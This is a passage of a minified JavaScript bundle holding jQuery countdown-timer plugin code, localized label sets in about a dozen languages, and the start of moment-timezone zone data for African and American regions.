c=n.options.timezone;c=null==c?-r.getTimezoneOffset():c,(i||!i&&null==n._until&&null==n._since)&&(n._since=n.options.since,null!=n._since&&(n._since=this.UTCDate(c,this._determineTime(n._since,null)),n._since&&o&&n._since.setMilliseconds(n._since.getMilliseconds()+o)),n._until=this.UTCDate(c,this._determineTime(n.options.until,r)),o&&n._until.setMilliseconds(n._until.getMilliseconds()+o)),n._show=this._determineShow(n)},_preDestroy:function(e){this._removeElem(e[0]),e.empty()},pause:function(e){this._hold(e,"pause")},lap:function(e){this._hold(e,"lap")},resume:function(e){this._hold(e,null)},toggle:function(t){this[(e.data(t,this.name)||{})._hold?"resume":"pause"](t)},toggleLap:function(t){this[(e.data(t,this.name)||{})._hold?"resume":"lap"](t)},_hold:function(t,n){var i=e.data(t,this.name);if(i){if("pause"==i._hold&&!n){i._periods=i._savePeriods;var r=i._since?"-":"+";i[i._since?"_since":"_until"]=this._determineTime(r+i._periods[0]+"y"+r+i._periods[1]+"o"+r+i._periods[2]+"w"+r+i._periods[3]+"d"+r+i._periods[4]+"h"+r+i._periods[5]+"m"+r+i._periods[6]+"s"),this._addElem(t)}i._hold=n,i._savePeriods="pause"==n?i._periods:null,e.data(t,this.name,i),this._updateCountdown(t,i)}},getTimes:function(t){var n=e.data(t,this.name);return n?"pause"==n._hold?n._savePeriods:n._hold?this._calculatePeriods(n,n._show,n.options.significant,new Date):n._periods:null},_determineTime:function(e,t){var n=this,i=function(e){var t=new Date;return t.setTime(t.getTime()+1e3*e),t},r=null==e?t:"string"==typeof e?function(e){e=e.toLowerCase();for(var t=new Date,i=t.getFullYear(),r=t.getMonth(),o=t.getDate(),a=t.getHours(),s=t.getMinutes(),l=t.getSeconds(),c=/([+-]?[0-9]+)\s*(s|m|h|d|w|o|y)?/g,u=c.exec(e);u;){switch(u[2]||"s"){case"s":l+=parseInt(u[1],10);break;case"m":s+=parseInt(u[1],10);break;case"h":a+=parseInt(u[1],10);break;case"d":o+=parseInt(u[1],10);break;case"w":o+=7*parseInt(u[1],10);break;case"o":r+=parseInt(u[1],10),o=Math.min(o,n._getDaysInMonth(i,r));break;case"y":i+=parseInt(u[1],10),o=Math.min(o,n._getDaysInMonth(i,r))}u=c.exec(e)}return new Date(i,r,o,a,s,l,0)}(e):"number"==typeof e?i(e):e;return r&&r.setMilliseconds(0),r},_getDaysInMonth:function(e,t){return 32-new Date(e,t,32).getDate()},_normalLabels:function(e){return e},_generateHTML:function(t){var c=this;t._periods=t._hold?t._periods:this._calculatePeriods(t,t._show,t.options.significant,new Date);for(var u=!1,d=0,f=t.options.significant,p=e.extend({},t._show),h=n;h<=l;h++)u|="?"==t._show[h]&&t._periods[h]>0,p[h]="?"!=t._show[h]||u?t._show[h]:null,d+=p[h]?1:0,f-=t._periods[h]>0?1:0;var m=[!1,!1,!1,!1,!1,!1,!1];for(h=l;h>=n;h--)t._show[h]&&(t._periods[h]?m[h]=!0:(m[h]=f>0,f--));var g=t.options.compact?t.options.compactLabels:t.options.labels,y=t.options.whichLabels||this._normalLabels,v=function(e){var n=t.options["compactLabels"+y(t._periods[e])];return p[e]?c._translateDigits(t,t._periods[e])+(n?n[e]:g[e])+" ":""},b=t.options.padZeroes?2:1,_=function(e){var n=t.options["labels"+y(t._periods[e])];return!t.options.significant&&p[e]||t.options.significant&&m[e]?'<span class="'+c._sectionClass+'"><span class="'+c._amountClass+'">'+c._minDigits(t,t._periods[e],b)+'</span><span class="'+c._periodClass+'">'+(n?n[e]:g[e])+"</span></span>":""};return t.options.layout?this._buildLayout(t,p,t.options.layout,t.options.compact,t.options.significant,m):(t.options.compact?'<span class="'+this._rowClass+" "+this._amountClass+(t._hold?" "+this._holdingClass:"")+'">'+v(n)+v(i)+v(r)+v(o)+(p[a]?this._minDigits(t,t._periods[a],2):"")+(p[s]?(p[a]?t.options.timeSeparator:"")+this._minDigits(t,t._periods[s],2):"")+(p[l]?(p[a]||p[s]?t.options.timeSeparator:"")+this._minDigits(t,t._periods[l],2):""):'<span class="'+this._rowClass+" "+this._showClass+(t.options.significant||d)+(t._hold?" "+this._holdingClass:"")+'">'+_(n)+_(i)+_(r)+_(o)+_(a)+_(s)+_(l))+"</span>"+(t.options.description?'<span class="'+this._rowClass+" "+this._descrClass+'">'+t.options.description+"</span>":"")},_buildLayout:function(t,c,u,d,f,p){for(var h=t.options[d?"compactLabels":"labels"],m=t.options.whichLabels||this._normalLabels,g=function(e){return(t.options[(d?"compactLabels":"labels")+m(t._periods[e])]||h)[e]},y=function(e,n){return t.options.digits[Math.floor(e/n)%10]},v={desc:t.options.description,sep:t.options.timeSeparator,yl:g(n),yn:this._minDigits(t,t._periods[n],1),ynn:this._minDigits(t,t._periods[n],2),ynnn:this._minDigits(t,t._periods[n],3),y1:y(t._periods[n],1),y10:y(t._periods[n],10),y100:y(t._periods[n],100),y1000:y(t._periods[n],1e3),ol:g(i),on:this._minDigits(t,t._periods[i],1),onn:this._minDigits(t,t._periods[i],2),onnn:this._minDigits(t,t._periods[i],3),o1:y(t._periods[i],1),o10:y(t._periods[i],10),o100:y(t._periods[i],100),o1000:y(t._periods[i],1e3),wl:g(r),wn:this._minDigits(t,t._periods[r],1),wnn:this._minDigits(t,t._periods[r],2),wnnn:this._minDigits(t,t._periods[r],3),w1:y(t._periods[r],1),w10:y(t._periods[r],10),w100:y(t._periods[r],100),w1000:y(t._periods[r],1e3),dl:g(o),dn:this._minDigits(t,t._periods[o],1),dnn:this._minDigits(t,t._periods[o],2),dnnn:this._minDigits(t,t._periods[o],3),d1:y(t._periods[o],1),d10:y(t._periods[o],10),d100:y(t._periods[o],100),d1000:y(t._periods[o],1e3),hl:g(a),hn:this._minDigits(t,t._periods[a],1),hnn:this._minDigits(t,t._periods[a],2),hnnn:this._minDigits(t,t._periods[a],3),h1:y(t._periods[a],1),h10:y(t._periods[a],10),h100:y(t._periods[a],100),h1000:y(t._periods[a],1e3),ml:g(s),mn:this._minDigits(t,t._periods[s],1),mnn:this._minDigits(t,t._periods[s],2),mnnn:this._minDigits(t,t._periods[s],3),m1:y(t._periods[s],1),m10:y(t._periods[s],10),m100:y(t._periods[s],100),m1000:y(t._periods[s],1e3),sl:g(l),sn:this._minDigits(t,t._periods[l],1),snn:this._minDigits(t,t._periods[l],2),snnn:this._minDigits(t,t._periods[l],3),s1:y(t._periods[l],1),s10:y(t._periods[l],10),s100:y(t._periods[l],100),s1000:y(t._periods[l],1e3)},b=u,_=n;_<=l;_++){var T="yowdhms".charAt(_),w=new RegExp("\\{"+T+"<\\}([\\s\\S]*)\\{"+T+">\\}","g");b=b.replace(w,!f&&c[_]||f&&p[_]?"$1":"")}return e.each(v,function(e,t){var n=new RegExp("\\{"+e+"\\}","g");b=b.replace(n,t)}),b},_minDigits:function(e,t,n){return(t=""+t).length>=n?this._translateDigits(e,t):(t="0000000000"+t,this._translateDigits(e,t.substr(t.length-n)))},_translateDigits:function(e,t){return(""+t).replace(/[0-9]/g,function(t){return e.options.digits[t]})},_determineShow:function(e){var t=e.options.format,c=[];return c[n]=t.match("y")?"?":t.match("Y")?"!":null,c[i]=t.match("o")?"?":t.match("O")?"!":null,c[r]=t.match("w")?"?":t.match("W")?"!":null,c[o]=t.match("d")?"?":t.match("D")?"!":null,c[a]=t.match("h")?"?":t.match("H")?"!":null,c[s]=t.match("m")?"?":t.match("M")?"!":null,c[l]=t.match("s")?"?":t.match("S")?"!":null,c},_calculatePeriods:function(e,t,c,u){e._now=u,e._now.setMilliseconds(0);var d=new Date(e._now.getTime());e._since?u.getTime()<e._since.getTime()?e._now=u=d:u=e._since:(d.setTime(e._until.getTime()),u.getTime()>e._until.getTime()&&(e._now=u=d));var f=[0,0,0,0,0,0,0];if(t[n]||t[i]){var p=this._getDaysInMonth(u.getFullYear(),u.getMonth()),h=this._getDaysInMonth(d.getFullYear(),d.getMonth()),m=d.getDate()==u.getDate()||d.getDate()>=Math.min(p,h)&&u.getDate()>=Math.min(p,h),g=function(e){return 60*(60*e.getHours()+e.getMinutes())+e.getSeconds()},y=Math.max(0,12*(d.getFullYear()-u.getFullYear())+d.getMonth()-u.getMonth()+(d.getDate()<u.getDate()&&!m||m&&g(d)<g(u)?-1:0));f[n]=t[n]?Math.floor(y/12):0,f[i]=t[i]?y-12*f[n]:0;var v=(u=new Date(u.getTime())).getDate()==p,b=this._getDaysInMonth(u.getFullYear()+f[n],u.getMonth()+f[i]);u.getDate()>b&&u.setDate(b),u.setFullYear(u.getFullYear()+f[n]),u.setMonth(u.getMonth()+f[i]),v&&u.setDate(b)}var _=Math.floor((d.getTime()-u.getTime())/1e3),T=function(e,n){f[e]=t[e]?Math.floor(_/n):0,_-=f[e]*n};if(T(r,604800),T(o,86400),T(a,3600),T(s,60),T(l,1),_>0&&!e._since)for(var w=[1,12,4.3482,7,24,60,60],S=l,k=1,C=l;C>=n;C--)t[C]&&(f[S]>=k&&(f[S]=0,_=1),_>0&&(f[C]++,_=0,S=C,k=1)),k*=w[C];if(c)for(C=n;C<=l;C++)c&&f[C]?c--:c||(f[C]=0);return f}})}(jQuery),function(e){e.countdown.regionalOptions.eng={labels:["Years","Months","Weeks","Days","Hours","Minutes","Seconds"],labels1:["Year","Month","Week","Day","Hour","Minute","Second"],compactLabels:["a","m","s","j"],whichLabels:function(e){return e>1?0:1},digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.fr)}(jQuery),function(e){e.countdown.regionalOptions.fr={labels:["Ann\xe9es","Mois","Semaines","Jours","Heures","Minutes","Secondes"],labels1:["Ann\xe9e","Mois","Semaine","Jour","Heure","Minute","Seconde"],compactLabels:["a","m","s","j"],whichLabels:function(e){return e>1?0:1},digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.fr)}(jQuery),function(e){e.countdown.regionalOptions.es={labels:["A\xf1os","Meses","Semanas","D\xedas","Horas","Minutos","Segundos"],labels1:["A\xf1o","Mes","Semana","D\xeda","Hora","Minuto","Segundo"],compactLabels:["a","m","s","g"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.es)}(jQuery),function(e){e.countdown.regionalOptions.de={labels:["Jahre","Monate","Wochen","Tage","Stunden","Minuten","Sekunden"],labels1:["Jahr","Monat","Woche","Tag","Stunde","Minute","Sekunde"],compactLabels:["J","M","W","T"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.de)}(jQuery),function(e){e.countdown.regionalOptions.ru={labels:["\u041b\u0435\u0442","\u041c\u0435\u0441\u044f\u0446\u0435\u0432","\u041d\u0435\u0434\u0435\u043b\u044c","\u0414\u043d\u0435\u0439","\u0427\u0430\u0441\u043e\u0432","\u041c\u0438\u043d\u0443\u0442","\u0421\u0435\u043a\u0443\u043d\u0434"],labels1:["\u0413\u043e\u0434","\u041c\u0435\u0441\u044f\u0446","\u041d\u0435\u0434\u0435\u043b\u044f","\u0414\u0435\u043d\u044c","\u0427\u0430\u0441","\u041c\u0438\u043d\u0443\u0442\u0430","\u0421\u0435\u043a\u0443\u043d\u0434\u0430"],labels2:["\u0413\u043e\u0434\u0430","\u041c\u0435\u0441\u044f\u0446\u0430","\u041d\u0435\u0434\u0435\u043b\u0438","\u0414\u043d\u044f","\u0427\u0430\u0441\u0430","\u041c\u0438\u043d\u0443\u0442\u044b","\u0421\u0435\u043a\u0443\u043d\u0434\u044b"],compactLabels:["\u043b","\u043c","\u043d","\u0434"],compactLabels1:["\u0433","\u043c","\u043d","\u0434"],whichLabels:function(e){var t=e%10,n=Math.floor(e%100/10);return 1==e?1:t>=2&&t<=4&&1!=n?2:1==t&&1!=n?1:0},digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.ru)}(jQuery),function(e){e.countdown.regionalOptions.ja={labels:["\u5e74","\u6708","\u9031","\u65e5","\u6642","\u5206","\u79d2"],labels1:["\u5e74","\u6708","\u9031","\u65e5","\u6642","\u5206","\u79d2"],compactLabels:["\u5e74","\u6708","\u9031","\u65e5"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.ja)}(jQuery),function(e){e.countdown.regionalOptions["zh-CN"]={labels:["\u5e74","\u6708","\u5468","\u5929","\u65f6","\u5206","\u79d2"],labels1:["\u5e74","\u6708","\u5468","\u5929","\u65f6","\u5206","\u79d2"],compactLabels:["\u5e74","\u6708","\u5468","\u5929"],compactLabels1:["\u5e74","\u6708","\u5468","\u5929"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions["zh-CN"])}(jQuery),function(e){e.countdown.regionalOptions.ko={labels:["\ub144","\uc6d4","\uc8fc","\uc77c","\uc2dc","\ubd84","\ucd08"],labels1:["\ub144","\uc6d4","\uc8fc","\uc77c","\uc2dc","\ubd84","\ucd08"],compactLabels:["\ub144","\uc6d4","\uc8fc","\uc77c"],compactLabels1:["\ub144","\uc6d4","\uc8fc","\uc77c"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.ko)}(jQuery),function(e){e.countdown.regionalOptions.ar={labels:["\u0633\u0646\u0648\u0627\u062a","\u0623\u0634\u0647\u0631","\u0623\u0633\u0627\u0628\u064a\u0639","\u0623\u064a\u0627\u0645","\u0633\u0627\u0639\u0627\u062a","\u062f\u0642\u0627\u0626\u0642","\u062b\u0648\u0627\u0646\u064a"],labels1:["\u0633\u0646\u0629","\u0634\u0647\u0631","\u0623\u0633\u0628\u0648\u0639","\u064a\u0648\u0645","\u0633\u0627\u0639\u0629","\u062f\u0642\u064a\u0642\u0629","\u062b\u0627\u0646\u064a\u0629"],compactLabels:["\u0633","\u0634","\u0623","\u064a"],whichLabels:null,digits:["\u0660","\u0661","\u0662","\u0663","\u0664","\u0665","\u0666","\u0667","\u0668","\u0669"],timeSeparator:":",isRTL:!0},e.countdown.setDefaults(e.countdown.regionalOptions.ar)}(jQuery),function(e){e.countdown.regionalOptions.nl={labels:["Jaren","Maanden","Weken","Dagen","Uren","Minuten","Seconden"],labels1:["Jaar","Maand","Week","Dag","Uur","Minuut","Seconde"],compactLabels:["j","m","w","d"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.nl)}(jQuery),function(e){e.countdown.regionalOptions.it={labels:["Anni","Mesi","Settimane","Giorni","Ore","Minuti","Secondi"],labels1:["Anno","Mese","Settimana","Giorno","Ora","Minuto","Secondo"],compactLabels:["a","m","s","g"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.it)}(jQuery),function(e){e.countdown.regionalOptions.sv={labels:["\xc5r","M\xe5nader","Veckor","Dagar","Timmar","Minuter","Sekunder"],labels1:["\xc5r","M\xe5nad","Vecka","Dag","Timme","Minut","Sekund"],compactLabels:["\xc5","M","V","D"],whichLabels:null,digits:["0","1","2","3","4","5","6","7","8","9"],timeSeparator:":",isRTL:!1},e.countdown.setDefaults(e.countdown.regionalOptions.sv)}(jQuery),moment.tz.add({zones:{"Africa/Abidjan":["-0:16:8 - LMT 1912 -0:16:8","0 - GMT"],"Africa/Accra":["-0:0:52 - LMT 1918 -0:0:52","0 Ghana %s"],"Africa/Addis_Ababa":["2:34:48 - LMT 1870 2:34:48","2:35:20 - ADMT 1936_4_5 2:35:20","3 - EAT"],"Africa/Algiers":["0:12:12 - LMT 1891_2_15_0_1 0:12:12","0:9:21 - PMT 1911_2_11 0:9:21","0 Algeria WE%sT 1940_1_25_2","1 Algeria CE%sT 1946_9_7 1","0 - WET 1956_0_29","1 - CET 1963_3_14 1","0 Algeria WE%sT 1977_9_21 1","1 Algeria CE%sT 1979_9_26 1","0 Algeria WE%sT 1981_4","1 - CET"],"Africa/Asmara":["2:35:32 - LMT 1870 2:35:32","2:35:32 - AMT 1890 2:35:32","2:35:20 - ADMT 1936_4_5 2:35:20","3 - EAT"],"Africa/Bamako":["-0:32 - LMT 1912 -0:32","0 - GMT 1934_1_26","-1 - WAT 1960_5_20 -1","0 - GMT"],"Africa/Bangui":["1:14:20 - LMT 1912 1:14:20","1 - WAT"],"Africa/Banjul":["-1:6:36 - LMT 1912 -1:6:36","-1:6:36 - BMT 1935 -1:6:36","-1 - WAT 1964 -1","0 - GMT"],"Africa/Bissau":["-1:2:20 - LMT 1911_4_26 -1:2:20","-1 - WAT 1975 -1","0 - GMT"],"Africa/Blantyre":["2:20 - LMT 1903_2 2:20","2 - CAT"],"Africa/Brazzaville":["1:1:8 - LMT 1912 1:1:8","1 - WAT"],"Africa/Bujumbura":["1:57:28 - LMT 1890 1:57:28","2 - CAT"],"Africa/Cairo":["2:5:9 - LMT 1900_9 2:5:9","2 Egypt EE%sT"],"Africa/Casablanca":["-0:30:20 - LMT 1913_9_26 -0:30:20","0 Morocco WE%sT 1984_2_16","1 - CET 1986 1","0 Morocco WE%sT"],"Africa/Ceuta":["-0:21:16 - LMT 1901 -0:21:16","0 - WET 1918_4_6_23","1 - WEST 1918_9_7_23 1","0 - WET 1924","0 Spain WE%sT 1929","0 SpainAfrica WE%sT 1984_2_16","1 - CET 1986 1","1 EU CE%sT"],"Africa/Conakry":["-0:54:52 - LMT 1912 -0:54:52","0 - GMT 1934_1_26","-1 - WAT 1960 -1","0 - GMT"], "Africa/Dakar":["-1:9:44 - LMT 1912 -1:9:44","-1 - WAT 1941_5 -1","0 - GMT"],"Africa/Dar_es_Salaam":["2:37:8 - LMT 1931 2:37:8","3 - EAT 1948 3","2:45 - BEAUT 1961 2:45","3 - EAT"],"Africa/Djibouti":["2:52:36 - LMT 1911_6 2:52:36","3 - EAT"],"Africa/Douala":["0:38:48 - LMT 1912 0:38:48","1 - WAT"],"Africa/El_Aaiun":["-0:52:48 - LMT 1934_0 -0:52:48","-1 - WAT 1976_3_14 -1","0 - WET"],"Africa/Freetown":["-0:53 - LMT 1882 -0:53","-0:53 - FMT 1913_5 -0:53","-1 SL %s 1957 -1","0 SL %s"],"Africa/Gaborone":["1:43:40 - LMT 1885 1:43:40","1:30 - SAST 1903_2 1:30","2 - CAT 1943_8_19_2 2","3 - CAST 1944_2_19_2 3","2 - CAT"],"Africa/Harare":["2:4:12 - LMT 1903_2 2:4:12","2 - CAT"],"Africa/Johannesburg":["1:52 - LMT 1892_1_8 1:52","1:30 - SAST 1903_2 1:30","2 SA SAST"],"Africa/Juba":["2:6:24 - LMT 1931 2:6:24","2 Sudan CA%sT 2000_0_15_12 2","3 - EAT"],"Africa/Kampala":["2:9:40 - LMT 1928_6 2:9:40","3 - EAT 1930 3","2:30 - BEAT 1948 2:30","2:45 - BEAUT 1957 2:45","3 - EAT"],"Africa/Khartoum":["2:10:8 - LMT 1931 2:10:8","2 Sudan CA%sT 2000_0_15_12 2","3 - EAT"],"Africa/Kigali":["2:0:16 - LMT 1935_5 2:0:16","2 - CAT"],"Africa/Kinshasa":["1:1:12 - LMT 1897_10_9 1:1:12","1 - WAT"],"Africa/Lagos":["0:13:36 - LMT 1919_8 0:13:36","1 - WAT"],"Africa/Libreville":["0:37:48 - LMT 1912 0:37:48","1 - WAT"],"Africa/Lome":["0:4:52 - LMT 1893 0:4:52","0 - GMT"],"Africa/Luanda":["0:52:56 - LMT 1892 0:52:56","0:52:4 - AOT 1911_4_26 0:52:4","1 - WAT"],"Africa/Lubumbashi":["1:49:52 - LMT 1897_10_9 1:49:52","2 - CAT"],"Africa/Lusaka":["1:53:8 - LMT 1903_2 1:53:8","2 - CAT"],"Africa/Malabo":["0:35:8 - LMT 1912 0:35:8","0 - GMT 1963_11_15","1 - WAT"],"Africa/Maputo":["2:10:20 - LMT 1903_2 2:10:20","2 - CAT"],"Africa/Maseru":["1:50 - LMT 1903_2 1:50","2 - SAST 1943_8_19_2 2","3 - SAST 1944_2_19_2 3","2 - SAST"],"Africa/Mbabane":["2:4:24 - LMT 1903_2 2:4:24","2 - SAST"],"Africa/Mogadishu":["3:1:28 - LMT 1893_10 3:1:28","3 - EAT 1931 3","2:30 - BEAT 1957 2:30","3 - EAT"],"Africa/Monrovia":["-0:43:8 - LMT 1882 -0:43:8","-0:43:8 - MMT 1919_2 -0:43:8","-0:44:30 - LRT 1972_4 -0:44:30","0 - GMT"],"Africa/Nairobi":["2:27:16 - LMT 1928_6 2:27:16","3 - EAT 1930 3","2:30 - BEAT 1940 2:30","2:45 - BEAUT 1960 2:45","3 - EAT"],"Africa/Ndjamena":["1:0:12 - LMT 1912 1:0:12","1 - WAT 1979_9_14 1","2 - WAST 1980_2_8 2","1 - WAT"],"Africa/Niamey":["0:8:28 - LMT 1912 0:8:28","-1 - WAT 1934_1_26 -1","0 - GMT 1960","1 - WAT"],"Africa/Nouakchott":["-1:3:48 - LMT 1912 -1:3:48","0 - GMT 1934_1_26","-1 - WAT 1960_10_28 -1","0 - GMT"],"Africa/Ouagadougou":["-0:6:4 - LMT 1912 -0:6:4","0 - GMT"],"Africa/Porto-Novo":["0:10:28 - LMT 1912 0:10:28","0 - GMT 1934_1_26","1 - WAT"],"Africa/Sao_Tome":["0:26:56 - LMT 1884 0:26:56","-0:36:32 - LMT 1912 -0:36:32","0 - GMT"],"Africa/Tripoli":["0:52:44 - LMT 1920 0:52:44","1 Libya CE%sT 1959 1","2 - EET 1982 2","1 Libya CE%sT 1990_4_4 1","2 - EET 1996_8_30 2","1 Libya CE%sT 1997_9_4 2","2 - EET 2012_10_10_2 2","1 Libya CE%sT"],"Africa/Tunis":["0:40:44 - LMT 1881_4_12 0:40:44","0:9:21 - PMT 1911_2_11 0:9:21","1 Tunisia CE%sT"],"Africa/Windhoek":["1:8:24 - LMT 1892_1_8 1:8:24","1:30 - SWAT 1903_2 1:30","2 - SAST 1942_8_20_2 2","3 - SAST 1943_2_21_2 3","2 - SAST 1990_2_21 2","2 - CAT 1994_3_3 2","1 Namibia WA%sT"],"America/Adak":["12:13:21 - LMT 1867_9_18 12:13:21","-11:46:38 - LMT 1900_7_20_12 -11:46:38","-11 - NST 1942 -11","-11 US N%sT 1946 -11","-11 - NST 1967_3 -11","-11 - BST 1969 -11","-11 US B%sT 1983_9_30_2 -10","-10 US AH%sT 1983_10_30 -10","-10 US HA%sT"],"America/Anchorage":["14:0:24 - LMT 1867_9_18 14:0:24","-9:59:36 - LMT 1900_7_20_12 -9:59:36","-10 - CAT 1942 -10","-10 US CAT/CAWT 1945_7_14_23","-10 US CAT/CAPT 1946 -10","-10 - CAT 1967_3 -10","-10 - AHST 1969 -10","-10 US AH%sT 1983_9_30_2 -9","-9 US Y%sT 1983_10_30 -9","-9 US AK%sT"],"America/Anguilla":["-4:12:16 - LMT 1912_2_2 -4:12:16","-4 - AST"],"America/Antigua":["-4:7:12 - LMT 1912_2_2 -4:7:12","-5 - EST 1951 -5","-4 - AST"],"America/Araguaina":["-3:12:48 - LMT 1914 -3:12:48","-3 Brazil BR%sT 1990_8_17 -3","-3 - BRT 1995_8_14 -3","-3 Brazil BR%sT 2003_8_24 -3","-3 - BRT 2012_9_21 -3","-3 Brazil BR%sT"],"America/Argentina/Buenos_Aires":["-3:53:48 - LMT 1894_9_31 -3:53:48","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 Arg AR%sT"],"America/Argentina/Catamarca":["-4:23:8 - LMT 1894_9_31 -4:23:8","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1991_2_3 -2","-4 - WART 1991_9_20 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 - ART 2004_5_1 -3","-4 - WART 2004_5_20 -4","-3 Arg AR%sT 2008_9_18 -3","-3 - ART"],"America/Argentina/Cordoba":["-4:16:48 - LMT 1894_9_31 -4:16:48","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1991_2_3 -2","-4 - WART 1991_9_20 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 Arg AR%sT"],"America/Argentina/Jujuy":["-4:21:12 - LMT 1894_9_31 -4:21:12","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1990_2_4 -2","-4 - WART 1990_9_28 -4","-3 - WARST 1991_2_17 -3","-4 - WART 1991_9_6 -4","-2 - ARST 1992 -2","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 Arg AR%sT 2008_9_18 -3","-3 - ART"],"America/Argentina/La_Rioja":["-4:27:24 - LMT 1894_9_31 -4:27:24","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1991_2_1 -2","-4 - WART 1991_4_7 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 - ART 2004_5_1 -3","-4 - WART 2004_5_20 -4","-3 Arg AR%sT 2008_9_18 -3","-3 - ART"],"America/Argentina/Mendoza":["-4:35:16 - LMT 1894_9_31 -4:35:16","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1990_2_4 -2","-4 - WART 1990_9_15 -4","-3 - WARST 1991_2_1 -3","-4 - WART 1991_9_15 -4","-3 - WARST 1992_2_1 -3","-4 - WART 1992_9_18 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 - ART 2004_4_23 -3","-4 - WART 2004_8_26 -4","-3 Arg AR%sT 2008_9_18 -3","-3 - ART"],"America/Argentina/Rio_Gallegos":["-4:36:52 - LMT 1894_9_31 -4:36:52","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 - ART 2004_5_1 -3","-4 - WART 2004_5_20 -4","-3 Arg AR%sT 2008_9_18 -3","-3 - ART"],"America/Argentina/Salta":["-4:21:40 - LMT 1894_9_31 -4:21:40","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1991_2_3 -2","-4 - WART 1991_9_20 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 Arg AR%sT 2008_9_18 -3","-3 - ART"],"America/Argentina/San_Juan":["-4:34:4 - LMT 1894_9_31 -4:34:4","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1991_2_1 -2","-4 - WART 1991_4_7 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 - ART 2004_4_31 -3","-4 - WART 2004_6_25 -4","-3 Arg AR%sT 2008_9_18 -3","-3 - ART"],"America/Argentina/San_Luis":["-4:25:24 - LMT 1894_9_31 -4:25:24","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1990 -2","-2 - ARST 1990_2_14 -2","-4 - WART 1990_9_15 -4","-3 - WARST 1991_2_1 -3","-4 - WART 1991_5_1 -4","-3 - ART 1999_9_3 -3","-3 - WARST 2000_2_3 -3","-3 - ART 2004_4_31 -3","-4 - WART 2004_6_25 -4","-3 Arg AR%sT 2008_0_21 -2","-4 SanLuis WAR%sT"],"America/Argentina/Tucuman":["-4:20:52 - LMT 1894_9_31 -4:20:52","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1991_2_3 -2","-4 - WART 1991_9_20 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 - ART 2004_5_1 -3","-4 - WART 2004_5_13 -4","-3 Arg AR%sT"],"America/Argentina/Ushuaia":["-4:33:12 - LMT 1894_9_31 -4:33:12","-4:16:48 - CMT 1920_4 -4:16:48","-4 - ART 1930_11 -4","-4 Arg AR%sT 1969_9_5 -4","-3 Arg AR%sT 1999_9_3 -3","-4 Arg AR%sT 2000_2_3 -3","-3 - ART 2004_4_30 -3","-4 - WART 2004_5_20 -4","-3 Arg AR%sT 2008_9_18 -3","-3 - ART"],"America/Aruba":["-4:40:24 - LMT 1912_1_12 -4:40:24","-4:30 - ANT 1965 -4:30","-4 - AST"],"America/Asuncion":["-3:50:40 - LMT 1890 -3:50:40","-3:50:40 - AMT 1931_9_10 -3:50:40","-4 - PYT 1972_9 -4","-3 - PYT 1974_3 -3","-4 Para PY%sT"],"America/Atikokan":["-6:6:28 - LMT 1895 -6:6:28","-6 Canada C%sT 1940_8_29 -6","-5 - CDT 1942_1_9_2 -6","-6 